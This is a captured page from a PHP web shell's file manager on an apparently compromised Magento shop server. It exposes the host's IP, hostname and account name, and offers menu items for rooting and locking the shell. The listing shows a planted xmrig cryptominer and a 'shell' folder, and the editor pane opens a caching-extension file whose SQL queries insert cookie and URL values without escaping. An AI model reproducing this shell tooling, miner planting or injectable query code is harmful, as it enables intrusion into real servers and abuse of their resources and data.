Linux host2.homegym.sg 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
Apache
Server IP : 159.223.38.192 & Your IP : 159.223.38.192
Domains : 20 Domain
User : eachadea
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
/
home /
eachadea /
public_html /
homegym.my /
Delete
Unzip
Name
Size
Permission
Date
Action
.well-known
[ DIR ]
drwxr-xr-x
2025-10-28 12:40
app
[ DIR ]
drwxr-xr-x
2025-10-31 00:39
articles
[ DIR ]
drwxr-xr-x
2025-10-30 03:31
assets
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
downloader
[ DIR ]
drwxr-xr-x
2025-10-30 03:31
errors
[ DIR ]
drwxr-xr-x
2025-10-28 12:41
images
[ DIR ]
drwxr-xr-x
2025-10-31 00:39
includes
[ DIR ]
drwxr-xr-x
2025-10-31 00:39
js
[ DIR ]
drwxr-xr-x
2025-10-30 03:31
lib
[ DIR ]
drwxrwxr-x
2025-10-28 12:41
market
[ DIR ]
drwxr-xr-x
2025-10-30 03:31
shell
[ DIR ]
drwxrwxr-x
2025-10-31 00:39
sitemap
[ DIR ]
drwxr-xr-x
2025-10-31 00:36
skin
[ DIR ]
drwxrwxr-x
2025-10-31 00:39
var
[ DIR ]
drwxr-xr-x
2025-10-31 00:39
z
[ DIR ]
drwxr-xr-x
2025-10-31 00:39
.ftpquota
20
B
-rw-------
2025-10-24 18:18
.gitignore
1.68
KB
-rw-r--r--
2019-06-20 13:55
.htaccess
2
KB
-r--r--r--
2025-10-31 00:45
202success.php
0
B
-rw-r--r--
2024-07-11 17:58
LICENSE.html
10.43
KB
-rw-r--r--
2019-06-20 13:55
LICENSE.txt
10.14
KB
-rw-r--r--
2019-06-20 13:55
LICENSE_AFL.txt
10.18
KB
-rw-r--r--
2019-06-20 13:55
README.md
2.43
KB
-rw-rw-rw-
2019-06-20 13:55
RELEASE_NOTES.txt
571.37
KB
-rw-r--r--
2019-06-20 13:55
adaptive-images.php
12.12
KB
-rw-r--r--
2019-06-20 13:55
api.php
2.77
KB
-rw-r--r--
2019-06-20 13:55
cod_exporter_for_magento.php
109.88
KB
-rw-r--r--
2019-06-20 13:55
composer.json
759
B
-rw-rw-rw-
2019-06-20 13:55
config.json
2.96
KB
-rw-r--r--
2021-07-23 02:40
corex.php
0
B
-rw-r--r--
2022-10-07 22:02
cron.php
2.81
KB
-rwxr-xr-x
2019-06-20 13:55
cron.sh
717
B
-rw-r--r--
2019-06-20 13:55
error_log
230.66
MB
-rw-r--r--
2025-10-31 00:45
evolved.php
59.5
KB
-rw-r--r--
2019-06-20 13:55
favicon.ico
1.12
KB
-rw-r--r--
2019-06-20 13:55
get.php
5.84
KB
-rw-r--r--
2019-06-20 13:55
googlea4f484aa75134cf1.html
53
B
-rw-r--r--
2019-06-21 07:38
index.html_maintenance
697
B
-rw-r--r--
2019-06-20 13:55
index.php
26.28
KB
-r--r--r--
2025-10-31 00:35
info.php
20
B
-rw-r--r--
2019-06-20 13:55
install.php
6.29
KB
-rw-r--r--
2019-06-20 13:55
m_test.php
833
B
-rw-r--r--
2019-06-20 13:55
mage
1.29
KB
-rw-r--r--
2019-06-20 13:55
modman
509
B
-rw-rw-rw-
2019-06-20 13:55
output.log
1.18
KB
-rw-rw-rw-
2019-06-20 13:55
package.xml
2.82
KB
-rw-r--r--
2019-06-20 13:55
php.ini
680
B
-rw-r--r--
2024-07-26 03:23
phpinfo.php
171
B
-rw-r--r--
2020-09-01 08:58
postnews.php
5.74
KB
-r--r--r--
2025-10-30 03:31
robots.txt
75
B
-rw-r--r--
2025-10-31 00:45
scheduler_cron.sh
5.34
KB
-rwxrwxrwx
2019-06-20 13:55
sm.txt
63
B
-rw-rw-rw-
2019-06-20 13:55
smartosc.txt
29
B
-rw-r--r--
2019-06-20 13:55
testfile.csv
8.11
KB
-rw-r--r--
2019-06-20 13:55
warp.php
48.25
KB
-rw-r--r--
2019-06-20 13:55
wp-ver.php
102.26
KB
-rw-r--r--
2025-10-28 12:35
wp.php
18
B
-rw-r--r--
2025-10-28 12:36
xmrig
7.57
MB
-rwxr-xr-x
2021-07-23 02:40
Save
Rename
<?php // Do not edit this file, add any required additional code into evolved_extra.php include_once 'evolved_extra.php'; define('EVOLVED_ROOT', getcwd()); define('EDS', DIRECTORY_SEPARATOR); evolved::_populatePostData(); if (isset($_POST['evolvedupdate']) || isset($_POST['evolvedrefresh']) || isset($_POST['evolvedcrawler']) || isset($_GET['shownames']) || (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') || isset($_GET['disabled']) || isset($_GET['cacheexclude'])): evolved::forwardRequest(); else: evolved::init(); endif; final class evolved { static private $_connection = false; static private $_rconnection = false; static private $_prefix = false; static private $_admin = false; static private $_request; static private $_agent = false; static private $_agentmodifier = false; static private $_categorymodifier = false; static private $_categorymode = false; static private $_categorydir = false; static private $_categorylimit = false; static private $_categoryorder = false; static private $_categoryp = false; static private $_layeredmodifier = false; static private $_page = false; static private $_db; static private $_rdb; static private $_userdata = array(); static private $_userid = false; static private $_userlifetime = false; static private $_store = array(); static private $_storespath = false; static private $_storage = false; static private $_mhost = false; static private $_mport = false; static private $_mpersistent = false; static private $_mcompressed = false; static private $_mexpires = false; static private $_aexpires = false; static private $_website = array(); static private $_currency = false; static private $_protocol = false; static private $_host = false; static private $_tax; static private $_excludedpage = false; static private $_cachekey = false; static private $_area = false; static private $_runbuffer = false; static private $_buffer = false; static private $_cookiereq = false; static private $_pagemodifiers = array(); static private $_pageisadmin = false; static private $_memcached = false; static private $_logentry = array(); static private $_useajax = true; static private $_ids = array(); public static function init() { try { self::_checkCache(); self::_getConfig(); self::_isEnabled(); self::_getRequest(); self::_getStore(); self::_getStorage(); self::_updateUserData(); self::_getArea(); self::getAgentModifier(); self::_getCategoryModifier(); self::_getLayeredModifier(); self::_getCurrency(); self::_getCustomerTax(); self::_checkPageExclusions(); self::_getPage(); self::_addDynamicContent(); self::_sendHeaders(); self::_outputPage(); } catch(Exception $e) { if (isset($_GET['evolved'])): echo $e->getMessage(); else: self::_runStore(); endif; } } private static function _checkCache() { $dir = EVOLVED_ROOT . EDS . 'var'; $path = $dir . EDS . 'evolved'; if (!is_dir($path) && is_writeable($dir)): if (!@mkdir($path, 0777)): throw new Exception('Cannot create cache directory.'); else: $permissions = substr(sprintf('%o', fileperms($path)), -4); if ($permissions != '0777'): if (!@chmod($path, 0777)): throw new Exception('Cannot set cache directory permissions.'); endif; endif; endif; else: if (is_dir($path) && is_writeable($path)): $permissions = substr(sprintf('%o', fileperms($path)), -4); if ($permissions != '0777'): if (!@chmod($path, 0777)): throw new Exception('Cannot set cache directory permissions.'); endif; endif; else: throw new Exception('Cannot create cache directory.'); endif; endif; } private static function _getConfig() { $path = EVOLVED_ROOT . EDS . 'app' . EDS . 'etc' . EDS . 'local.xml'; if (file_exists($path)): $config = simplexml_load_file($path, 'SimpleXMLElement', LIBXML_NOCDATA); $connection = $config->global->resources->default_setup->connection; if ($connection && is_object($connection) && $connection->active && $connection->active == 1): self::$_connection = $connection; else: throw new Exception('Cannot find database connection data.'); endif; $connection = $config->global->resources->default_read->connection; if ($connection && is_object($connection) && $connection->active && $connection->active == 1): self::$_rconnection = $connection; endif; $prefix = (string) $config->global->resources->db->table_prefix; if (isset($prefix)): self::$_prefix = $prefix; else: throw new Exception('Cannot find database table prefix.'); endif; $admin = (string) $config->admin->routers->adminhtml->args->frontName; if ($admin): self::$_admin = $admin; else: throw new Exception('Cannot find admin url.'); endif; else: throw new Exception('Cannot find app' . EDS . 'etc' . EDS . 'local.xml.'); endif; } private static function _isEnabled() { if ($db = self::_getRDb()): $sql = 'SELECT `value` FROM `'. self::$_prefix . 'core_cache_option` WHERE `code` = \'evolved\''; $result = mysqli_query($db, $sql); $enabled = false; while ($row = mysqli_fetch_assoc($result)): $enabled = (bool) $row['value']; endwhile; if (!$enabled): throw new Exception('Caching not enabled'); endif; endif; } private static function _getRequest() { $request = explode('?', $_SERVER['REQUEST_URI']); $request = reset($request); $request = rtrim($request, '/'); self::$_request = $request; if (strpos($_SERVER['REQUEST_URI'], 'https://') !== false): self::$_protocol = 'https'; elseif (strpos($_SERVER['REQUEST_URI'], 'http://') !== false): self::$_protocol = 'http'; else: self::$_protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443 ? 'https' : 'http'; endif; self::$_request = preg_replace('/http(s)?:\/\/[^\/]*/', '', self::$_request); self::$_pagemodifiers['protocol'] = self::$_protocol; self::$_host = $_SERVER['HTTP_HOST']; if (empty($_SERVER['HTTP_USER_AGENT'])): throw new Exception('No user agent found, cannot serve cached content.'); endif; self::$_agent = $_SERVER['HTTP_USER_AGENT']; } private static function _getStore() { $foundstore = false; if ($db = self::_getRDb()): $sql = 'SELECT `value` FROM `' . self::$_prefix . 'core_config_data` WHERE `path` = \'web/url/use_store\''; $result = mysqli_query($db, $sql); while ($row = mysqli_fetch_assoc($result)): $storeinurl = (bool) $row['value']; if ($storeinurl): $url = ltrim(self::$_request, '/'); $url = explode('/', $url); if (!empty($url[0])): $sql = 'SELECT `store_id` FROM `' . self::$_prefix . 'core_store` WHERE `code` = \'' . $url[0] . '\''; $result = mysqli_query($db, $sql); while ($row = mysqli_fetch_assoc($result)): $storeid = (int) $row['store_id']; endwhile; if (!empty($storeid)): self::_storeByStore($storeid); $foundstore = true; endif; endif; endif; break; endwhile; endif; if (!$foundstore): if (isset($_COOKIE['store']) || isset($_GET['___store'])): $store = isset($_GET['___store']) ? $_GET['___store'] : $_COOKIE['store']; if ($db = self::_getRDb()): $sql = 'SELECT `store_id` FROM `' . self::$_prefix . 'core_store` WHERE `code` = \'' . $store . '\''; $result = mysqli_query($db, $sql); while ($row = mysqli_fetch_assoc($result)): $storeid = (int) $row['store_id']; endwhile; if (!empty($storeid)): self::_storeByStore($storeid); endif; endif; else: $results = array(); if ($db = self::_getRDb()): $sql = 'SELECT `scope`, `scope_id`, `path`, `value` FROM `' . self::$_prefix . 'core_config_data` WHERE `path` LIKE \'%base_url\''; $result = mysqli_query($db, $sql); $count = 0; while ($row = mysqli_fetch_assoc($result)): $results[$count]['scope'] = $row['scope']; $results[$count]['scope_id'] = (int) $row['scope_id']; $results[$count]['value'] = $row['value']; $count++; endwhile; endif; $found = array(); $url = self::$_protocol . '://' . self::$_host . '/'; foreach ($results as $key => $baseurl): if (strpos($baseurl['value'], $url) === 0): if ($baseurl['scope'] == 'default'): $found['default'] = $baseurl['scope_id']; elseif ($baseurl['scope'] == 'websites'): $found['websites'] = $baseurl['scope_id']; elseif ($baseurl['scope'] == 'stores'): $found['stores'] = $baseurl['scope_id']; endif; endif; endforeach; if (isset($found['stores'])): self::_storeByStore($found['stores']); elseif (isset($found['websites'])): self::_storeByWebsite($found['websites']); elseif (isset($found['default'])): self::_storeByDefault(); endif; endif; endif; if (!self::$_store || !self::$_website): throw new Exception('Cannot find store information.'); else: $found = false; $config = self::_getStoreConfig(self::_getSetupPath()); $key = substr($config, -7); $config = substr($config, 0, -7); $details = ''; $config = base64_decode($config); for ($i = 0; $i < strlen($config); $i++): $c = ord(substr($config, $i)); $c -= ord(substr($key, (($i + 1) % strlen($key)))); $details .= chr(abs($c) & 0xFF); endfor; $details = explode(',', $details); foreach ($details as $detail): if ($detail == self::$_host): $found = true; break; endif; endforeach; if (!$found): throw new Exception("C\141\x63\x68\x69ng\040\156\157\164 \x61\166\141\x69\x6ca\142\154\145\040\146\157\x72\x20\164\150\151\x73\040\x73\x74\157r\x65."); endif; self::$_pagemodifiers['___store'] = self::$_store['code']; endif; } private static function _getStorage() { if (!self::$_storage): if (self::_getStoreConfig('evolvedcaching/storage/use') == 1 && @extension_loaded('memcache') && @class_exists('Memcache')): $host = self::_getStoreConfig('evolvedcaching/storage/host'); $port = self::_getStoreConfig('evolvedcaching/storage/port'); $persistent = self::_getStoreConfig('evolvedcaching/storage/persistent'); $expires = self::_getStoreConfig('evolvedcaching/storage/memcachedexpires'); self::$_mexpires = $expires ? $expires : 0; if ($host && $port): self::$_mhost = $host; self::$_mport = $port; if ($persistent) self::$_mpersistent = true; self::$_memcached = new Memcache; if (self::$_mpersistent): if (!self::$_memcached->pconnect(self::$_mhost, self::$_mport)): throw new Exception('Failed to connect to memcached server.'); endif; else: if (!self::$_memcached->connect(self::$_mhost, self::$_mport)): throw new Exception('Failed to connect to memcached server.'); endif; endif; if (self::_getStoreConfig('evolvedcaching/storage/compression') && @extension_loaded('zlib')): if ($threshold = self::_getStoreConfig('evolvedcaching/storage/threshold')): $threshold *= 1000; if ($saving = self::_getStoreConfig('evolvedcaching/storage/saving')): $saving /= 100; if (!self::$_memcached->setCompressThreshold($threshold, $saving)): throw new Exception('Failed to set memcached compression.'); endif; else: if (!self::$_memcached->setCompressThreshold($threshold)): throw new Exception('Failed to set memcached compression.'); endif; endif; endif; self::$_mcompressed = MEMCACHE_COMPRESSED; endif; self::$_storage = 'memcached'; else: throw new Exception('Server host/port not correctly configured in memcached settings.'); endif; elseif (self::_getStoreConfig('evolvedcaching/storage/use') == 2 && @extension_loaded('apc') && @ini_get('apc.enabled')): $expires = self::_getStoreConfig('evolvedcaching/storage/apcexpires'); self::$_aexpires = $expires ? $expires : 0; self::$_storage = 'apc'; else: self::$_storage = 'files'; endif; endif; return self::$_storage; } private static function _updateUserData() { self::_checkLoggedIn(); self::_loadUserData(); self::_saveUserData(); self::_updateUserCookie(); } private static function _getArea($stripstore = null) { if (!isset($stripstore)): $stripstore = self::_getStoreConfig('web/url/use_store'); endif; $target = str_replace('evolved.php', '', self::$_request); $target = ltrim($target, '/'); if ($stripstore): $target = explode('/', $target); array_shift($target); $target = implode('/', $target); endif; if (!$target): self::$_area = 'home'; elseif ($area = self::_locateCatalog($target)): self::$_area = $area; elseif (self::_locateCms($target)): self::$_area = 'cms'; else: self::$_area = 'other'; endif; } public static function getAgentModifier($config = null, $nosave = false) { if (!isset($config)): $config = self::_getStoreConfig('evolvedcaching/agent/agents'); endif; if ($config): preg_match_all('/\(.*\)/Us', $config, $matches); endif; $groups = array(); if (isset($matches)): foreach ($matches[0] as $match): $match = str_replace('(', '', $match); $match = str_replace(')', '', $match); $match = preg_replace('/\s*/s', '', $match); $match = trim($match, ','); if ($match): $match = explode(',', $match); $groups[] = $match; endif; endforeach; endif; $found = false; $config = preg_replace('/\(.*\)/Us', '', $config); $config = preg_replace('/\s*/s', '', $config); $config = preg_replace('/,+/s', ',', $config); $config = trim($config, ','); if ($config): $config = explode(',', $config); foreach ($config as $c): $groups[] = array($c); endforeach; endif; foreach ($groups as $key => $group): foreach ($group as $agent): if (strpos(self::$_agent, $agent) !== false): $found = true; break; endif; endforeach; if ($found): break; endif; endforeach; if ($found): $modifier = implode('', $groups[$key]); self::$_logentry['agentmodifier'] = implode('<br />', $groups[$key]); $modifier = md5($modifier); if ($nosave): return $modifier; else: self::$_pagemodifiers['agent'] = $modifier; self::$_agentmodifier = $modifier; endif; else: self::$_logentry['agentmodifier'] = ''; if ($nosave): return md5(''); else: self::$_pagemodifiers['agent'] = md5(''); self::$_agentmodifier = md5(''); endif; endif; } private static function _getCategoryModifier() { if (self::$_area == 'category'): if (self::_getUserData('mode')): $mode = self::_getUserData('mode'); elseif ($config = self::_getStoreConfig('catalog/frontend/list_mode')): $config = explode('-', $config); $mode = $config[0]; else: $mode = 'grid'; endif; self::$_categorymode = $mode; if (self::_getUserData('dir')): $direction = self::_getUserData('dir'); else: $direction = 'asc'; endif; self::$_categorydir = $direction; if (self::_getUserData('limit')): $limit = self::_getUserData('limit'); elseif ($mode == 'grid'): if ($config = self::_getStoreConfig('catalog/frontend/grid_per_page')): $limit = (string) $config; else: $limit = '9'; endif; elseif ($mode == 'list'): if ($config = self::_getStoreConfig('catalog/frontend/list_per_page')): $limit = (string) $config; else: $limit = '10'; endif; else: $limit = ''; endif; self::$_categorylimit = $limit; if (self::_getUserData('order')): $order = self::_getUserData('order'); elseif ($config = self::_getStoreConfig('catalog/frontend/default_sort_by')): $order = $config; else: $order = 'position'; endif; self::$_categoryorder = $order; if (isset($_GET['p'])): $page = $_GET['p']; else: $page = '1'; endif; self::$_categoryp = $page; $modifier = md5($direction . $limit . $mode . $order . $page); self::$_logentry['categorymodifier'] = 'Direction: ' . $direction . '<br />Limit: ' . $limit . '<br />Mode: ' . $mode . '<br />Order: ' . $order . '<br />Page: ' . $page; self::$_categorymodifier = $modifier; else: self::$_logentry['categorymodifier'] = ''; self::$_categorymodifier = md5(''); endif; } private static function _getLayeredModifier() { $excluded = array( 'evolved', 'evolvedupdate', '___store', '___from_store', '___SID', 'SID', 'form_key', 'options' ); if (self::$_area != 'other'): $excluded[] = 'mode'; $excluded[] = 'dir'; $excluded[] = 'limit'; $excluded[] = 'order'; $excluded[] = 'p'; endif; $arguments = self::_getStoreConfig('evolvedcaching/exclude/arguments', ','); if (!empty($arguments) && is_array($arguments)): foreach ($arguments as $argument): if (!empty($argument) && !in_array($argument, $excluded)): $excluded[] = $argument; endif; endforeach; endif; $modifier = ''; self::$_logentry['layeredmodifier'] = array(); $found = array(); foreach ($_GET as $key => $argument): if (!in_array($key, $excluded)): $found[$key] = $argument; self::$_pagemodifiers[$key] = $argument; self::$_logentry['layeredmodifier'][] = $key . ': ' . $argument; endif; endforeach; ksort($found); foreach ($found as $key => $mod): $modifier .= $key . $mod; endforeach; self::$_layeredmodifier = md5($modifier); self::$_logentry['layeredmodifier'] = implode('<br />', self::$_logentry['layeredmodifier']); } private static function _getCurrency() { $found = false; if (strpos(self::$_request, 'directory/currency/switch/currency/') !== false): $currency = preg_replace('/.*directory\/currency\/switch\/currency\//', '', self::$_request); $currency = explode('/', $currency); self::$_currency = reset($currency); $found = true; endif; if (!$found): $headers = headers_list(); foreach ($headers as $header): if (strpos($header, 'Set-Cookie:') !== false && strpos($header, 'currency') !== false): preg_match('/currency.*=.*([A-Z]{3}).*;/U', $header, $match); if (isset($match[1])): self::$_currency = $match[1]; $found = true; break; endif; endif; endforeach; endif; if (!$found): if (isset($_COOKIE['currency'])): self::$_currency = $_COOKIE['currency']; else: self::$_currency = self::_getStoreConfig('currency/options/default'); endif; endif; self::$_pagemodifiers['currency'] = self::$_currency; } private static function _getCustomerTax() { if (isset($_COOKIE['evolved_tax'])): self::$_tax = $_COOKIE['evolved_tax'] ? (float) $_COOKIE['evolved_tax'] : 0; else: if ($db = self::_getRDb()): $sql = 'SELECT MAX(rate) AS rate FROM `'. self::$_prefix . 'tax_calculation_rate`'; $result = mysqli_query($db, $sql); while ($row = mysqli_fetch_assoc($result)): self::$_tax = $row['rate'] ? (float) $row['rate'] : 0; endwhile; endif; endif; } private static function _checkPageExclusions() { $config = self::_getStoreConfig('evolvedcaching/exclude/pages', ','); if (!in_array(self::$_admin, $config)): $config[] = trim(self::$_admin, '/'); endif; $config[] = 'sendfriend'; $exception = false; foreach ($config as $url): if (strpos(self::$_request, trim($url, '/')) !== false): $exception = true; break; endif; endforeach; if ($exception): self::$_excludedpage = true; if (!self::_getStoreConfig('evolvedcaching/general/useajax')): self::$_useajax = false; endif; throw new Exception('Caching disabled by url.'); endif; if (!self::_getStoreConfig('evolvedcaching/exclude/blocks', ',')): throw new Exception('No blocks set to be excluded.'); endif; } private static function _getPage() { if (!self::$_store['code'] || !self::$_protocol || !self::$_agentmodifier || !self::$_currency || !self::$_categorymodifier || !self::$_layeredmodifier || !isset(self::$_tax) || !isset(self::$_request)): throw new Exception('Cannot build cached page filename.'); endif; $cachekey = self::getCacheKey('page'); if (self::$_storage == 'memcached'): $memcached = self::_getMemcached(); if (!$memcached): throw new Exception('Could not find memcached server.'); endif; $page = $memcached->get($cachekey); if (!$page): self::$_runbuffer = true; if (!self::_getStoreConfig('evolvedcaching/general/useajax')): self::$_useajax = false; endif; throw new Exception('No cached page found.'); elseif (self::$_mexpires): $memcached->replace($cachekey, $page, self::$_mcompressed, self::$_mexpires); endif; $page = unserialize($page); elseif (self::$_storage == 'apc'): $page = apc_fetch($cachekey); if (!$page): self::$_runbuffer = true; if (!self::_getStoreConfig('evolvedcaching/general/useajax')): self::$_useajax = false; endif; throw new Exception('No cached page found.'); elseif (self::$_aexpires): apc_delete($cachekey); apc_store($cachekey, $page, self::$_aexpires); endif; $page = unserialize($page); else: $path = EVOLVED_ROOT . EDS . 'var' . EDS . 'evolved' . EDS . $cachekey; if (!file_exists($path)): self::$_runbuffer = true; if (!self::_getStoreConfig('evolvedcaching/general/useajax')): self::$_useajax = false; endif; throw new Exception('No cached page found.'); else: $page = file_get_contents($path); if (!$page): throw new Exception('Cache file could not be read.'); endif; touch($path); endif; $page = unserialize($page); endif; self::_logCachedPage(); $page = self::_addCategoryTaxData($page); self::$_page = self::_updateFormKeys($page); } private static function _addDynamicContent() { $ajax = self::_getStoreConfig('evolvedcaching/general/useajax'); if (is_float($ajax) && !$ajax): self::$_useajax = false; preg_match_all('/evolved_id-([A-Za-z0-9_]+)/s', self::$_page, $matches); $matches = !empty($matches[1]) ? $matches[1] : array(); $ids = array(); foreach ($matches as $match): $ids[$match] = $match; endforeach; self::$_ids = $ids; $_POST['evolvedupdate'] = true; if (strpos(self::$_request, '/' . self::$_store['code'] . '/review/') === 0 || strpos(self::$_request, '/review/') === 0): $_POST['id'] = true; endif; foreach (self::$_ids as $id => $content): $_POST[$id] = $id; endforeach; include_once 'index.php'; if (class_exists('Mage')): $app = Mage::app(); $layout = $app->getLayout(); $controller = $app->getFrontController()->getAction(); $object = new Varien_Object(); $object->setLayout($layout)->setAction($controller); Mage::getModel('evolvedcaching/observer_render')->frontendControllerActionLayoutGenerateBlocksBefore($object); endif; endif; } private static function _sendHeaders() { header('Cache-Control: max-age=0, no-cache, must-revalidate'); header('Expires: Sat, 26 Jul 1997 05:00:00 GMT'); header('Pragma: no-cache'); $config = self::_getStoreConfig('evolvedcaching/headers/' . self::$_area, ','); if (!$config && self::$_area != 'other'): $config = self::_getStoreConfig('evolvedcaching/headers/other', ','); endif; foreach ($config as $header): if (strpos($header, 'none') === false): $arguments = explode(';', $header); if (count($arguments) > 1): $count = 0; $parts = array(); foreach ($arguments as $argument): if ($count == 1): $parts[$count] = $arguments == 'false' ? false : true; else: $parts[$count] = $argument; endif; $count++; endforeach; if (count($parts) == 2): header($parts[0], $parts[1]); elseif (count($parts) == 3): header($parts[0], $parts[1], $parts[2]); endif; else: header($header); endif; endif; endforeach; } private static function _outputPage() { echo self::$_page; } private static function _runStore() { self::_openBuffer(); include_once 'index.php'; self::_closeBuffer(); } private static function _openBuffer() { if (!isset($_GET['evolved']) && self::$_runbuffer): ob_start(); self::$_buffer = true; elseif (self::$_excludedpage): ob_start(); endif; } private static function _closeBuffer() { if (self::$_buffer): $page = ob_get_clean(); if ($page): $success = true; if (class_exists('Mage')): $action = Mage::app()->getRequest()->getActionName(); $success = strtolower($action) == 'noroute' ? false : true; endif; if (!self::$_pageisadmin && $success): $output = $page; $page = self::_addFormKey($page); $page = serialize($page); if ($cachekey = self::getCacheKey('page')): if (self::$_storage == 'memcached'): $memcached = self::_getMemcached(); if ($memcached->get($cachekey)): $memcached->replace($cachekey, $page, self::$_mcompressed, self::$_mexpires); else: $memcached->add($cachekey, $page, self::$_mcompressed, self::$_mexpires); endif; elseif (self::$_storage == 'apc'): if (apc_exists($cachekey)): apc_delete($cachekey); endif; apc_store($cachekey, $page, self::$_aexpires); else: $path = EVOLVED_ROOT . EDS . 'var' . EDS . 'evolved' . EDS . $cachekey; if ($page && $path): file_put_contents($path, $page); @chmod($path, 0777); endif; endif; endif; self::_clearLogEntry(); self::_logCachedPage(); $output = self::_addCategoryTaxData($output); echo $output; if (!self::getUseAjax()): ob_flush(); flush(); self::$_page = $output; self::_addDynamicContent(); endif; else: echo $page; endif; elseif (!self::$_pageisadmin): Mage::helper('evolvedcaching')->setRedirectCookie(); endif; elseif (self::$_excludedpage): $page = ob_get_clean(); if ($page): $page = self::_addCategoryTaxData($page); echo $page; if (!self::getUseAjax()): ob_flush(); flush(); self::$_page = $page; self::_addDynamicContent(); endif; endif; endif; } public static function getCacheKey($type = null) { if (self::$_cookiereq): if (!self::$_store['code'] || !self::$_protocol || !self::$_agentmodifier || !self::$_currency || !self::$_categorymodifier || !self::$_layeredmodifier || !isset(self::$_tax) || !isset(self::$_request)): throw new Exception('Cannot build cached page filename.'); endif; endif; if (!self::$_cachekey): self::$_logentry['protocol'] = self::$_protocol; self::$_logentry['storecode'] = self::$_store['code']; self::$_logentry['currency'] = self::$_currency; self::$_logentry['tax'] = self::$_tax; self::$_logentry['request'] = self::$_request; self::$_cachekey = md5(self::$_protocol . '_' . self::$_store['code'] . '_' . self::$_currency . '_' . self::$_agentmodifier . '_' . self::$_categorymodifier . '_' . self::$_layeredmodifier . '_' . self::$_tax . '_' . self::$_request); endif; return $type ? rtrim($type, '_') . '_' . self::$_cachekey : self::$_cachekey; } private static function _getDb() { if (empty(self::$_db)): if (is_object(self::$_connection)): self::$_db = mysqli_connect( (string) self::$_connection->host, (string) self::$_connection->username, (string) self::$_connection->password, (string) self::$_connection->dbname ); endif; endif; if (empty(self::$_db)): self::$_db = null; throw new Exception('Cannot connect to database.'); endif; return self::$_db; } private static function _getRDb() { if (empty(self::$_rdb)): if (is_object(self::$_rconnection)): self::$_rdb = mysqli_connect( (string) self::$_rconnection->host, (string) self::$_rconnection->username, (string) self::$_rconnection->password, (string) self::$_rconnection->dbname ); endif; endif; if (empty(self::$_rdb)): self::$_rdb = null; return self::_getDb(); endif; return self::$_rdb; } private static function _storeByDefault() { if ($db = self::_getRDb()): $sql = 'SELECT `default_group_id` FROM `'. self::$_prefix . 'core_website` WHERE `is_default` = 1'; $result = mysqli_query($db, $sql); while ($row = mysqli_fetch_assoc($result)): $groupid = (int) $row['default_group_id']; endwhile; self::_storeByGroup($groupid); endif; } private static function _storeByWebsite($id) { if ($db = self::_getRDb()): $sql = 'SELECT `default_group_id` FROM `'. self::$_prefix . 'core_website` WHERE `website_id` = ' . $id; $result = mysqli_query($db, $sql); while ($row = mysqli_fetch_assoc($result)): $groupid = (int) $row['default_group_id']; endwhile; self::_storeByGroup($groupid); endif; } private static function _storeByGroup($id) { if ($db = self::_getRDb()): $sql = 'SELECT `default_store_id` FROM `'. self::$_prefix . 'core_store_group` WHERE `group_id` = ' . $id; $result = mysqli_query($db, $sql); while ($row = mysqli_fetch_assoc($result)): $storeid = (int) $row['default_store_id']; endwhile; self::_storeByStore($storeid); endif; } private static function _storeByStore($id) { if ($db = self::_getRDb()): $sql = 'SELECT `code`, `website_id` FROM `'. self::$_prefix . 'core_store` WHERE `store_id` = ' . $id; $result = mysqli_query($db, $sql); while ($row = mysqli_fetch_assoc($result)): self::$_store['id'] = (int) $id; self::$_store['code'] = $row['code']; $website = (int) $row['website_id']; endwhile; if ($website): $sql = 'SELECT `code` FROM `'. self::$_prefix . 'core_website` WHERE `website_id` = ' . $website; $result = mysqli_query($db, $sql); while ($row = mysqli_fetch_assoc($result)): self::$_website['id'] = (int) $website; self::$_website['code'] = $row['code']; endwhile; endif; endif; } private static function _getStoreConfig($path, $split = null) { $entries = false; if (self::$_store && self::$_website): $configs = array(); $found = array(); $entries = array(); if ($db = self::_getRDb()): if (strpos($path, '%') !== false): $sql = 'SELECT `scope`, `scope_id`, `value` FROM `'. self::$_prefix . 'core_config_data` WHERE `path` LIKE \'' . $path . '\' ORDER BY FIELD(scope, \'stores\', \'websites\', \'default\')'; else: $sql = 'SELECT `scope`, `scope_id`, `value` FROM `'. self::$_prefix . 'core_config_data` WHERE `path` = \'' . $path . '\' ORDER BY FIELD(scope, \'stores\', \'websites\', \'default\')'; endif; $result = mysqli_query($db, $sql); while ($row = mysqli_fetch_assoc($result)): if (isset($row['value'])): if ($row['scope'] == 'stores' && $row['scope_id'] == self::$_store['id']): $value = $row['value']; break; elseif ($row['scope'] == 'websites' && $row['scope_id'] == self::$_website['id']): $value = $row['value']; break; elseif ($row['scope'] == 'default'): $value = $row['value']; break; endif; endif; endwhile; endif; if (isset($split)): if (isset($value)): $values = explode($split, $value); foreach ($values as $value): $value = trim($value); if ($value): if (is_numeric($value)): $value = (float) $value; endif; $entries[] = $value; endif; endforeach; else: $entries = array(); endif; else: if (isset($value)): if (is_numeric($value)): $value = (float) $value; endif; $entries = $value; else: $entries = ''; endif; endif; endif; return $entries; } private static function _locateCatalog($target) { if (strpos($target, 'catalog/product/view/id/') !== false): return 'product'; elseif (strpos($target, 'catalog/category/view/id/') !== false): return 'category'; elseif (strpos($target, 'tag/product/list/') !== false): return 'category'; elseif (strpos($target, 'catalogsearch/result') !== false): return 'category'; elseif ($db = self::_getRDb()): $found = array(); $escape = false; do { $sql = 'SELECT `target_path` FROM `'. self::$_prefix . 'core_url_rewrite` WHERE `request_path` = \'' . $target . '\''; $result = mysqli_query($db, $sql); $target = false; while ($row = mysqli_fetch_assoc($result)): $target = $row['target_path']; if (in_array($target, $found)): $escape = true; break; else: $found[] = $target; endif; break; endwhile; } while ($target && strpos($target, 'catalog/product/view/id/') === false && strpos($target, 'catalog/category/view/id/') === false && !$escape); if ($target): if (strpos($target, 'catalog/product/view/id/') !== false): return 'product'; elseif (strpos($target, 'catalog/category/view/id/') !== false): return 'category'; else: return false; endif; endif; else: return false; endif; } private static function _locateCms($target) { if ($db = self::_getRDb()): $sql = 'SELECT `page_id` FROM `'. self::$_prefix . 'cms_page` WHERE `identifier` = \'' . $target . '\''; $result = mysqli_query($db, $sql); $id = false; while ($row = 